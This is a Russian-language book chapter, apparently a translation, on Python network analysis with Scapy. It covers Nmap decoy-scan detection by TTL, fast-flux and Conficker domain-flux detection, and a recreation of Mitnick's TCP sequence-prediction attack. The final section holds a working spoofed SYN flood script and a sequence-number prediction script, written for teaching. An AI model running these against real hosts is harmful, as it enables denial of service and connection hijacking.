В конце 1999 года американский Пентагон столкнулся с серьёзными угрозами своим компьютерным сетям. Штаб-квартира Министерства обороны США, Пентагон, объявила, что подверглась скоординированной серии изоощрённых атак (CIO Institute bulletin on computer security, 1999). Недавно появившийся инструмент под названием **Nmap** значительно упростил для любого пользователя сканирование сетей на наличие сервисов и уязвимостей. Пентагон опасался, что неизвестные злоумышленники применили **Nmap** для выявления и сопоставления уязвимостей в огромной компьютерной сети Пентагона.

Как выяснилось, сканирование программой **Nmap** довольно просто обнаружить, сопоставить с адресом атакующего и затем определить местоположение этого IP-адреса. Однако

злоумышленники использовали в **Nmap** одну продвинутую опцию. Сканируя со своих конкретных адресов, они смешивали эти действия с ложными сканированиями, которые выглядели отправленными из множества самых разных точек по всему миру (CIO, 1999). Эксперты Пентагона с трудом отличали реальные действия от «маскировочных».

Пока эксперты корпели над огромными массивами журналов данных с теоретическими методами анализа, один 17-летний паренёк из Остина, штат Техас, неожиданно предложил действенное решение проблемы. H.D. Moore, ныне легендарный создатель фреймворка Metasploit, встретился со Стивеном Норткаттом из проекта NAVY Shadow. Тинэйджер предложил использовать поля TTL для всех входящих пакетов из Nmap-сканирований (Verton, 2002). Поле The time-to-live (TTL) в IP-пакете определяет, сколько прыжков может пройти пакет, прежде чем достигнет своего пункта назначения. Всякий раз, когда пакет проходит через устройство маршрутизации, маршрутизатор уменьшает поле TTL. Мур догадался, что это будет отличным способом определения происхождения сканов. Для каждого адреса источника, используемого в зарегистрированных Nmap-сканированиях, он отправлял один ICMP-пакет, чтобы определить количество прыжков между адресом источника и уже проверенным компьютером. Затем он использовал эту информацию, чтобы вычислить реального злодея среди множества «пустышек». Ясно, что у злоумышленника будет правильный TTL, тогда как у «пустышек» (если они не расположены близко) значения для TTL будут неправильные. Решение подростка сработало! Норткэтт попросил Мура презентовать свой инструмент и результаты исследований на конференции SANS в 1999 году (Verton, 2002). Мур назвал свой инструмент именем **Nlog**, потому что он записывал различную информацию из результатов **Nmap**.

В следующем разделе мы будем использовать Python для воссоздания анализа Мура и создания инструментария **Nlog**. Надеюсь, вы поймёте то, что 17-летний подросток осознал более десяти лет назад: простые, элегантные решения отлично работают для обнаружения злоумышленников.

## Разбираемся с полем TTL

Перед написанием скрипта, давайте определимся, что же такое поле TTL из IP-пакета. Поле TTL содержит 8 бит, делая допустимыми значения от 0 до 255. Когда компьютер отправляет IP-пакет, он устанавливает поле TTL в виде максимального числа прыжков, которые пакет может пройти до достижения пункта назначения. Каждое устройство маршрутизации, которое соприкасается с пакетом, уменьшает TTL. Если поле падает до нуля, тогда маршрутизатор отбрасывает пакет, чтобы предотвратить бесконечные циклы маршрутизации. Например, если я пингую адрес 8.8.8.8 с начальным TTL 64, и он возвращается с TTL 53, я вижу, что пакет прошёл через 11 устройств маршрутизации при его возврате.

```
target# ping -m 64 8.8.8.8
```

```
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.  
64 bytes from 8.8.8.8: icmp_seq=1 ttl=53 time=48.0 ms  
64 bytes from 8.8.8.8: icmp_seq=2 ttl=53 time=49.7 ms  
64 bytes from 8.8.8.8: icmp_seq=3 ttl=53 time=59.4 ms
```

Когда **Nmap** изначально ввёл ложные сканы в версии 1.60, TTL не был там ни рандомизирован, ни рассчитан должным образом для пакетов-обманок. Неспособность **Nmap** правильно рассчитывать TTL позволила Муру идентифицировать эти пакеты. Очевидно, что кодовая база для **Nmap** с 1999 года значительно выросла и продолжает развиваться. В текущей кодовой базе **Nmap** рандомизирует TTL, используя нижеследующий алгоритм. Этот алгоритм генерирует случайный TTL, в среднем около 48 на каждый пакет. Пользователь также может жёстко кодировать TTL, используя дополнительный флаг и устанавливая фиксированный TTL.

```
/* Time to live */  
if (ttl == -1) {  
    myttl = (get_random_uint()% 23) + 37;  
} else {  
    myttl = ttl;  
}
```

Для запуска ложного сканирования **Nmap** мы задействуем флаг **-D**, за которым следует IP-адрес. В этом случае мы будем использовать адрес 8.8.8.8 в качестве адреса ложного сканирования. Кроме того, мы жёстко закодируем TTL на значении 13, используя **-ttl**. Таким образом, наши следующие команды сканируют адрес 192.168.1.7 с обманкой 8.8.8.8, используя жёстко заданный TTL 13.

```
attacker$ nmap 192.168.1.7 -D 8.8.8.8 -ttl 13  
Starting Nmap 5.51 (http://nmap.org) at 2012-03-04 14:54 MST  
Nmap scan report for 192.168.1.7  
Host is up (0.015s latency).  
<..ПРОПУЩЕНО..>
```

На цели 192.168.1.7 мы запускаем **tcpdump** в расширенном режиме (**-v**), отключаем разрешение имён (**-nn**) и фильтруем по конкретному адресу 8.8.8.8 (**'host 8.8.8.8'**). Мы видим, что Nmap успешно отправил ложные пакеты из 8.8.8.8, используя TTL 13.

```
target# tcpdump -i eth0 -v -nn 'host 8.8.8.8'  
8.8.8.8.42936 > 192.168.1.7.6: Flags [S], cksum 0xcae7 (correct), seq  
690560664, win 3072, options [mss 1460], length 0  
14:56:41.289989 IP (tos 0x0, ttl 13, id 1625, offset 0, flags [none],  
proto TCP (6), length 44)  
8.8.8.8.42936 > 192.168.1.7.1009: Flags [S], cksum 0xc6fc (correct),  
seq 690560664, win 3072, options [mss 1460], length 0  
14:56:41.289996 IP (tos 0x0, ttl 13, id 16857, offset 0, flags
```

```
[none], proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.1110: Flags [S], cksum 0xc697 (correct),
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.290003 IP (tos 0x0, ttl 13, id 41154, offset 0, flags [none],
proto TCP (6), length 44)
8.8.8.8.42936 > 192.168.1.7.2601: Flags [S], cksum 0xc0c4 (correct),
seq 690560664, win 3072, options [mss 1460], length 0
14:56:41.307069 IP (tos 0x0, ttl 13, id 63795, offset 0, flags [none],
proto TCP (6), length 44)
```

## Разбор полей TTL с помощью Scapy

Что ж, начнём писать наш скрипт, получив исходный IP-адрес и TTL входящих пакетов. На этом этапе мы вернёмся к использованию **Scapy** до самого конца главы. Равным образом легко можно было бы написать этот код, используя **Dpkt**. Мы настроим функцию для считывания и передачи каждого отдельного пакета в функции **testTTL()**, которая проверяет пакет на уровень IP, извлекая IP-адрес источника и поля TTL, и выводит эти поля на экран.

```
from scapy.all import *
def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src
            ttl = str(pkt.ttl)
            print '[+] Pkt Received From: '+ipsrc+' with TTL: ' \
                + ttl
    except:
        pass
def main():
    sniff(prn=testTTL, store=0)
if __name__ == '__main__':
    main()
```

Запустив наш код, мы увидим, что мы получили немало пакетов от разных адресов источников с разными TTL. Эти результаты также включают в себя ложные сканирования от 8.8.8.8 с TTL, равным 13. Поскольку мы знаем, что TTL должен быть 64 минус 11 = 53 прыжка, мы можем утверждать, что это фейковые результаты. Здесь важно отметить, что в то время как системы Linux/Unix обычно запускаются с начальным TTL 64, системы на основе Windows начинаются с TTL 128. Для целей нашего скрипта предположим, что мы «препарируем» только IP-пакеты с рабочих станций Linux, сканирующих нашу цель, поэтому давайте добавим функцию для сверки полученного TTL с фактическим TTL.

```
analyst# python printTTL.py
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
```

```
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13
```

Функция **checkTTL()** принимает IP-адрес источника с соответствующим полученным TTL в качестве входного и выводит сообщение для недействительных TTL. Во-первых, давайте воспользуемся быстрым условным оператором для удаления пакетов с частных IP-адресов (10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255 и 192.168.0.0–192.168.255.255). Для этого мы импортируем библиотеку **IPy**. Чтобы избежать «классового конфликта» с IP класса **Scapy**, мы реклассифицируем его как **IPTEST**. Если **IPTEST(ipsrc). iptype()** возвращает «**PRIVATE**», мы будем возвращены из функции **checkTTL**, игнорируя этот пакет.

Мы получаем довольно много уникальных пакетов от одного и того же источника. Адрес источника нужно проверить только один раз. Если мы не встречали данный адрес ранее, то создадим IP-пакет с адресом назначения, идентичным адресу источника. Кроме того, мы создадим пакет в виде эхо-запроса ICMP, чтобы адресат отвечал на него. Как только адрес назначения даст ответ, мы поместим значение TTL в словарь, проиндексированный по IP-адресу источника. Затем мы проверяем, не превышает ли различие между фактическим полученным TTL и TTL в исходном пакете пороговое значение. Пакеты могут проходить по разным маршрутам на пути к месту назначения и, следовательно, иметь разные TTL; однако, если расстояние отличается на пять прыжков, мы уже можем предположить, что это может быть фейковый TTL, и вывести на экран предупреждающее сообщение.

```
from scapy.all import *
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc, ttl):
    if IPTEST(ipsrc).iptype() == 'PRIVATE':
        return
    if not ttlValues.has_key(ipsrc):
        pkt = sr1(IP(dst=ipsrc) / ICMP(), \
            retry=0, timeout=1, verbose=0)
        ttlValues[ipsrc] = pkt.ttl
    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '\n[!] Detected Possible Spoofed Packet From: '\
            + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' \
            + str(ttlValues[ipsrc])
```

Мы добавляем некоторые параметры анализа для прослушиваемого адреса, а затем добавляем параметр для установки порога, чтобы завершить наш код. Меньше пятидесяти

строк кода – и мы видим, как Эйч Ди Мур разрешил дилемму Пентагона более десяти лет назад.

```
import time
import optparse
from scapy.all import *
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc, ttl):
    if IPTEST(ipsrc).iptype() == 'PRIVATE':
        return
    if not ttlValues.has_key(ipsrc):
        pkt = sr1(IP(dst=ipsrc) / ICMP(), \
            retry=0, timeout=1, verbose=0)
        ttlValues[ipsrc] = pkt.ttl
    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '\n[!] Detected Possible Spoofed Packet From: '\
            + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' \
            + str(ttlValues[ipsrc])
def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src
            ttl = str(pkt.ttl)
            checkTTL(ipsrc, ttl)
    except:
        pass
def main():
    parser = optparse.OptionParser("usage%prog "+\
        "-i<interface> -t <thresh>")
    parser.add_option('-i', dest='iface', type='string',\
        help='specify network interface')
    parser.add_option('-t', dest='thresh', type='int',\
        help='specify threshold count ')
    (options, args) = parser.parse_args()
    if options.iface == None:
        conf.iface = 'eth0'
    else:
        conf.iface = options.iface
    if options.thresh != None:
        THRESH = options.thresh
    else:
        THRESH = 5
    sniff(prn=testTTL, store=0)
if __name__ == '__main__':
    main()
```

Запустив код, мы видим, что он корректно идентифицирует как ложное сканирование **Nmap** от 8.8.8.8 из-за разницы между TTL 13 и фактическим TTL 53 (для нашего пакета). Важно заметить, что наше значение генерируется из начального TTL по умолчанию для Linux, равного 64. Хотя RFC 1700 рекомендует использовать TTL по умолчанию 64, Microsoft Windows использовала исходный TTL 128 (начиная с MS Windows NT 4.0). Кроме того, некоторые другие варианты Unix имеют разные TTL – к примеру, Solaris 2.x имеет TTL по умолчанию 255. На данный момент мы оставим скрипт и предположим, что поддельные пакеты созданы с помощью компьютера на базе Linux.

```
analyst# python spoofDetect.py -i eth0 -t 5
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
<..ПРОПУЩЕНО..>
```

## Fast-Flux от Storm и Domain-Flux от Conficker

В 2007 году исследователи в области безопасности идентифицировали новый метод, используемый печально известным ботнетом Storm (Хиггинс, 2007). Техника, названная fast-flux («быстрый поток»), использовала записи службы доменных имён (DNS) для сокрытия командных и управляющих серверов, которые контролировали ботнет Storm. DNS-записи обычно переводят доменное имя в IP-адрес. Когда DNS-сервер возвращает результат, он также указывает для TTL, что IP-адрес остаётся действительным до того момента, когда хост должен провести новую проверку.

Злоумышленники, стоявшие за ботнетом Storm, меняли записи DNS для командно-контрольного сервера довольно часто. Фактически они использовали 2000 хостов, распределённых среди 384 провайдеров в более чем 50 странах (Lemos, 2007).

Атакующие часто меняли IP-адреса для командно-контрольного сервера и обеспечивали возвращение результатов DNS с очень коротким TTL. Этот быстрый поток IP-адресов мешал исследователям в области безопасности идентифицировать серверы управления и контроля для ботнета и ещё больше затруднял перевод серверов в автономный режим.

Пока fast-flux мешал уничтожить ботнет Storm, подобный метод, использованный в следующем году, помог злоумышленникам инфицировать 7 миллионов компьютеров в более чем двухстах странах мира (Binde et al., 2011). Conficker, самый успешный на сегодняшний день компьютерный червь, распространился путём атаки на уязвимость в

протоколе Windows Service Message Block (SMB). После заражения уязвимые машины связывались с командно-контрольным сервером для получения дальнейших инструкций. Выявление и предотвращение контактов с командно-контрольным сервером оказалось абсолютно необходимым для тех, кто противостоял атаке. Однако Conficker генерировал разные доменные имена каждые три часа, используя текущие дату и время в UTC. Для третьей итерации Confickera это означало, что каждые три часа генерировалось 50 000 доменов. Злоумышленники регистрировали только несколько из этих доменов на реальных IP-адресах для командно-контрольных серверов. Это очень сильно затрудняло перехват и предотвращение трафика с помощью командно-контрольного сервера. Поскольку этот метод непрерывно чередовал доменные имена, исследователи дали ему название domain-flux («доменный поток»).

В следующем разделе мы напишем несколько скриптов Python для обнаружения fast-flux и domain-flux и выявления атак.

## Ваш DNS знает то, чего не знаете вы?

Для идентификации fast-flux и domain-flux давайте проверим DNS, взглянув на трафик, сгенерированный во время запроса имени домена. Чтобы понять это, мы выполним поиск доменного имени по адресу whitehouse.com. Обратите внимание, что наш DNS-сервер по адресу 192.168.1.1 переводит whitehouse.com в IP-адрес 74.117.114.119.

```
analyst# nslookup whitehouse.com
Server:      192.168.1.1
Address:     192.168.1.1#53
Non-authoritative answer:
Name:       whitehouse.com
Address:    74.117.114.119
```

Изучая поиск DNS с помощью **tcpdump**, мы видим, что наш клиент (192.168.13.37) отправляет запрос на DNS-сервер по адресу 192.168.1.1. В частности, клиент генерирует запись вопроса DNS (DNSQR), запрашивая IPv4-адрес whitehouse.com. Сервер отвечает добавлением записи ресурса DNS (DNSRR), которая предоставляет IP-адрес для whitehouse.com.

```
analyst# tcpdump -i eth0 -nn 'udp port 53'
07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A?
whitehouse.com. (32)
07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A
74.117.114.119 (48)
```

## Использование Scapy для разбора DNS-трафика

Когда мы исследуем эти запросы протокола DNS в **Scapy**, мы видим поля, включённые в каждый из запросов. DNSQR содержит имя вопроса (**qname**), тип вопроса (**qtype**) и класс



вопроса (**qclass**). Для нашего запроса выше мы просим выявить и отобразить IPv4-адрес для whitehouse.com, чтобы поле **qname** было равно whitehouse.com. DNS-сервер отвечает, добавляя DNSRR, который содержит имя записи ресурса (**rrname**), его тип (**type**), класс записи ресурса (**rclass**) и TTL. Зная, как работают fast-flux и domain-flux, мы теперь можем написать несколько скриптов Python для Scapy, чтобы анализировать и идентифицировать подозрительный DNS-трафик.

```
analyst# scapy
Welcome to Scapy (2.0.1)
>>>ls(DNSQR)
qname      : DNSStrField      =      ( '')
qtype      : ShortEnumField   =      (1)
qclass     : ShortEnumField   =      (1)
>>>ls(DNSRR)
rrname     : DNSStrField      =      ( '')
type       : ShortEnumField   =      (1)
rclass     : ShortEnumField   =      (1)
ttl        : IntField         =      (0)
rdlen      : RDLenField       =      (None)
rdata      : RDataField       =      ( '')
```

Европейское агентство сетевой и информационной безопасности предоставляет отличный ресурс для анализа сетевого трафика. Это живой ISO-образ DVD, содержащий несколько сетевых снимков и упражнений. Вы можете скачать копию с <http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvdiso-images>. Упражнение № 7 представляет **Pcap**, который демонстрирует поведение fast-flux. Кроме того, вы можете заразить виртуальную машину шпионским или вредоносным программным обеспечением и безопасно проверить трафик в контролируемой лабораторной среде, прежде чем продолжить. Для наших целей давайте предположим, что теперь у вас есть захваченная сеть с именем **fastFlux.pcap**, которая содержит некоторый DNS-трафик, который вы хотели бы проанализировать.

## Обнаружение трафика Fast-Flux с помощью Scapy

Давайте напишем Python-скрипт, который считывает данный Pcap и анализирует все пакеты, содержащие DNSRR. В **Scapy** есть мощная функция **.haslayer()**, которая принимает тип протокола в качестве входных данных и возвращает логическое значение. Если пакет содержит DNSRR, мы извлечём переменные **rrname** и **rdata**, которые содержат соответствующее имя домена и IP-адрес. Мы можем затем проверить доменное имя по словарю, который мы поддерживаем, проиндексированному по доменным именам. Если мы видели доменное имя ранее - тогда проверим, не связан ли с ним предыдущий IP-адрес. Если у него есть другой предыдущий IP-адрес, мы добавляем наш новый адрес в массив, поддерживаемый в значении нашего словаря. Вместо этого, если мы идентифицируем новый

домен, то добавляем его в наш словарь. Мы добавляем IP-адрес для домена в качестве первого элемента массива, хранящегося в качестве значения нашего словаря.

Это кажется немного сложным, но нам нужно иметь возможность хранить все доменные имена и различные IP-адреса, связанные с ними. Чтобы обнаружить fast flux, нам надо знать, какие доменные имена имеют несколько адресов. После проверки всех пакетов мы распечатаем все доменные имена и узнаем, сколько уникальных IP-адресов существует для каждого доменного имени.

```
from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
    if pkt.haslayer(DNSRR):
        rname = pkt.getlayer(DNSRR).rrname
        rdata = pkt.getlayer(DNSRR).rdata
        if dnsRecords.has_key(rname):
            if rdata not in dnsRecords[rname]:
                dnsRecords[rname].append(rdata)
        else:
            dnsRecords[rname] = []
            dnsRecords[rname].append(rdata)
def main():
    pkts = rdpcap('fastFlux.pcap')
    for pkt in pkts:
        handlePkt(pkt)
    for item in dnsRecords:
        print '[+] '+item+' has '+str(len(dnsRecords[item])) \
            + ' unique IPs.'
if __name__ == '__main__':
    main()
```

Запустив наш код, мы видим, что по крайней мере четыре доменных имени имеют множество IP-адресов, связанных с ними. Все четыре доменных имени, перечисленные ниже, в прошлом использовали fast-flux (Nazario, 2008).

```
analyst# python testFastFlux.py
[+] ibank-halifax.com. has 100,379 unique IPs.
[+] armsummer.com. has 14,233 unique IPs.
[+] boardhour.com. has 11,900 unique IPs.
[+] swimhad.com. has 11, 719 unique IPs.
```

## Обнаружение трафика Domain-Flux с помощью Scapy

Теперь давайте начнём с анализа машины, заражённой Conficker. Вы можете либо заразить машину самостоятельно, либо загрузить некоторые образцы заражённых снимков из Интернета. Поскольку Conficker использовал domain-flux, нам нужно будет просмотреть

ответы сервера, содержащие сообщения об ошибках для неизвестных доменных имён. Различные версии Confickera генерировали несколько DNS-имён ежечасно. Поскольку некоторые из доменных имён оказались фиктивными и предназначались для маскировки фактического командно-контрольного сервера, большинству DNS-серверов не хватало возможностей переводить доменные имена в фактические адреса, и вместо этого они генерировали сообщения об ошибках. Давайте идентифицируем domain-flux в действии, распознавая все ответы DNS, которые содержат код ошибки для name-error. Полный список доменов, используемых в черве Conficker, смотрите по адресу [http://www.cert.at/downloads/data/conficker\\_en.html](http://www.cert.at/downloads/data/conficker_en.html).

Опять же, мы считываем и перечисляем все пакеты из снимка сети. Мы протестируем только пакеты, исходящие из порта 53 источника сервера, которые содержат записи ресурсов. Пакет DNS содержит поле **rcode**. Когда **rcode** равно 3, это означает, что доменное имя не существует. Затем мы выводим имя домена на экран и обновляем счётчик посещений всех неотвеченных запросов имён.

```
from scapy.all import *
def dnsQRTest(pkt):
    if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
        rcode = pkt.getlayer(DNS).rcode
        qname = pkt.getlayer(DNSQR).qname
        if rcode == 3:
            print '[!] Name request lookup failed: ' + qname
            return True
        else:
            return False
def main():
    unAnsReqs = 0
    pkts = rdpcap('domainFlux.pcap')
    for pkt in pkts:
        if dnsQRTest(pkt):
            unAnsReqs = unAnsReqs + 1
    print '[!] '+str(unAnsReqs)+' Total Unanswered Name Requests'
if __name__ == '__main__':
    main()
```

Обратите внимание, что когда мы запускаем наш скрипт, мы видим несколько реальных доменных имён, используемых в Conficker для domain-flux. Удача! Мы можем определить атаку. Давайте применим наши навыки анализа в следующем разделе, где мы приступим к разбору сложной атаки, случившейся более 15 лет назад.

```
analyst# python testDomainFlux.py
[!] Name request lookup failed: tkggvtqvj.org.
[!] Name request lookup failed: yqdqyntx.com.
[!] Name request lookup failed: uvcaylkgdpg.biz.
```

```
[!] Name request lookup failed: vzcocljtfti.biz.  
[!] Name request lookup failed: wojpnhwk.cc.  
[!] Name request lookup failed: plrjgcjzf.net.  
[!] Name request lookup failed: qegiche.ws.  
[!] Name request lookup failed: ylktrupygmmp.cc.  
[!] Name request lookup failed: ovdbkbanqw.com.  
<..ПРОПУЩЕНО..>  
[!] 250 Total Unanswered Name Requests
```

## Кевин Митник и прогноз TCP-последовательности

16 февраля 1995 года закончилась эпоха пресловутого хакера, на счету которого кража корпоративных торговых секретов стоимостью в миллионы долларов. В течение более 15 лет Кевин Митник несанкционированно проникал в чужие компьютеры, похищал конфиденциальную информацию и унижал любого, кто пытался его поймать (Shimomura, 1996), но в конечном итоге поисковая группа нашла след Митника и арестовала его в Роли, Северная Каролина.

Цитирую Шимомура, специалист в области вычислительной физики из Сан-Диего, помог выследить Митника (Маркофф, 1995). После дачи показаний перед Конгрессом по теме безопасности сотовых телефонов в 1992 году, Шимомура стал мишенью для Митника. В декабре 1994 года кто-то вломился в домашнюю компьютерную систему Шимомуры (Markoff, 1995). Будучи убеждён, что нападающим был Митник, и увлечшись новым методом атаки, Шимомура по сути возглавил техническую команду, которая следила за Митником вплоть до его ареста.

Какой же вектор атаки так заинтриговал Шимомуру? Митник применил метод перехвата сеансов TCP, никогда ранее в природе не встречавшийся. Эта техника, известная как предсказание последовательности TCP, основана на отсутствии случайности в порядковых номерах, задействованных в отслеживании отдельных сетевых подключений. Данное упущение, в сочетании с подделкой IP-адресов, позволило Митнику перехватить соединение с домашним компьютером Шимомуры. В следующем разделе мы воссоздадим эту печально известную атаку с предсказанием последовательностей TCP и тот инструмент, который Митник использовал в ней.

### Создаём собственный прогноз последовательности TCP

Машина, которую взломал Митник, имела доверенное соглашение с удалённым сервером. Удалённый сервер мог получить доступ к жертве Митника через протокол удалённого входа (**rlogin**), который работает на TCP-порту 513. Вместо использования соглашения об открытом/закрытом ключе или схемы паролей, **rlogin** применил небезопасные средства

аутентификации – проверяя исходный IP-адрес. Таким образом, чтобы проникнуть в машину Шимомуры, Митнику пришлось проделать следующие вещи:

- 1) найти сервер, которому она доверяла;
- 2) «заглушить» этот доверенный сервер;
- 3) подделать соединение с этого доверенного сервера;
- 4) вслепую подделать правильное подтверждение трёхстороннего рукопожатия TCP.

Звучит намного сложнее, чем всё обстояло на самом деле. 25 января 1995 года Шимомура опубликовал подробности о взломе в блоге USENET (Shimomura, 1995). Анализируя эту атаку по техническим подробностям, опубликованным Шимомурой, мы напишем скрипт Python для выполнения такой же атаки.

После того, как Митник определил удалённый сервер, который имел доверенное соглашение с персональным компьютером Шимомуры, ему нужно было отключить этот сервер. Если машина замечала попытку поддельного подключения с использованием своего IP-адреса, она отправляла пакеты сброса TCP, чтобы закрыть подключение. Чтобы заставить машину замолчать, Митник отправил серию пакетов **TCP SYN** на порт **rlogin** на сервере. Эта атака, известная как SYN Flood, заполнила очередь соединений сервера и не позволила ему ответить. Изучая подробности из поста Шимомуры, мы видим серию пакетов TCP SYN для порта rlogin на цели.

```
14:18:22.516699 130.92.6.97.600 > server.login: S
1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S
1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S
1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S
1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S
1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S
1382726965:1382726965(0) win 4096
<..ПРОПУЩЕНО..?
```

## Воссоздание атаки SYN Flood с помощью Scapy

Репликация атаки TCP SYN Flood в **Scapy** оказывается довольно простой. Мы создадим некоторые IP-пакеты с уровнем протокола TCP с увеличивающимся исходным портом TCP и постоянным целевым портом TCP 513.

```
from scapy.all import *
def synFlood(src, tgt):
    for sport in range(1024,65535):
```

```
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
src = "10.1.1.2"
tgt = "192.168.1.3"
synFlood(src,tgt)
```

При запуске атаки отправляются пакеты TCP SYN для исчерпания ресурсов цели, заполнения её очереди соединений и, по существу, подавления способности цели отправлять пакеты TCP-reset.

```
mitnick# python synFlood.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
<..ПРОПУЩЕНО..>
```

## Вычисление номеров TCP-последовательности

С этого момента атака становится несколько интереснее. При заглушённом удалённом сервере Митник смог подделать TCP-соединение с целью. Однако это зависело от его возможности отправлять поддельный SYN, после чего машина Шимомуры распознавала TCP-соединение с помощью TCP SYN-ACK. Чтобы подсоединиться окончательно, Митнику нужно было правильно угадать порядковый номер TCP в SYN-ACK (поскольку он не мог его увидеть), а затем отправить обратно ACK этого правильно угаданного порядкового номера TCP. Чтобы его вычислить, Митник отправил серию пакетов SYN с университетского компьютера под именем `apollo.it.luc.edu`. После получения пакета SYN х-терминал машины Шимомуры ответил пакетом SYN-ACK с порядковым номером TCP. Обратите внимание на порядковые номера в нижеследующем подробном техническом разборе: 2022080000, 2022208000, 2022336000, 2022464000. Каждый новый SYN-ACK увеличивается на 128000. Это сделало вычисление правильного порядкового номера TCP довольно простой для Митника задачей (обратите внимание, что большинство современных операционных систем сегодня обеспечивают более надёжную рандомизацию порядковых номеров TCP).

```
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S
```

```

1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S
2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R
1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S
1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S
2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R
1382726994:1382726994(0) win 0
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S
1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S
2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R
1382726995:1382726995(0) win 0
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S
1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S
2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R
1382726996:1382726996(0) win 0
<..ПРОПУЩЕНО..>

```

Чтобы повторить это в Python, мы отправим пакет TCP SYN и будем ждать пакета TCP SYNACK. Как только мы его получим, мы удалим порядковый номер TCP из подтверждения и выведем его на экран. Мы повторим это для четырёх пакетов, чтобы подтвердить, что шаблон существует. Обратите внимание, что в **Scapy** нам не нужно заполнять все поля TCP и IP: **Scapy** сам заполнит их значениями. Кроме того, он отправит пакеты с нашего исходного IP-адреса по умолчанию. Наша новая функция **calTSN** примет целевой IP-адрес и вернёт следующий порядковый номер, который должен быть подтверждён (текущий порядковый номер плюс разница).

```

from scapy.all import *
def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    for x in range(1, 5):
        if preNum != 0:
            preNum = seqNum
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        seqNum = ans.getlayer(TCP).seq
        diffSeq = seqNum - preNum
    print '[+] TCP Seq Difference: ' + str(diffSeq)

```

```
    return seqNum + diffSeq
tgt = "192.168.1.106"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1)
```

Запустив наш код против уязвимой цели, мы видим, что рандомизации последовательности TCP не существует, и цель страдает той же уязвимостью, что и машина Шимомуры. Обратите внимание, что по умолчанию **Scapy** будет использовать TCP-порт назначения 80. У цели назначения должна быть служба, прослушивающая любой порт, соединение к которому вы пытаетесь подделать.

```
mitnick# python calculateTSN.py
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] Next TCP Sequence Number to ACK is: 2024371201
```

## Подмена TCP-соединения

Имея правильный порядковый номер TCP, Митник смог атаковать. Число, использованное им, было 2024371200, после примерно полутора сотен начальных пакетов SYN, посланных «на разведку» машины. Сначала он подделал соединение с «замолчавшего» сервера. Затем отправил «слепой» ACK с порядковым номером 2024371201, указывающий, что соединение было установлено правильно.

```
14:18:36.245045 server.login > x-terminal.shell: S
1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win
4096
```

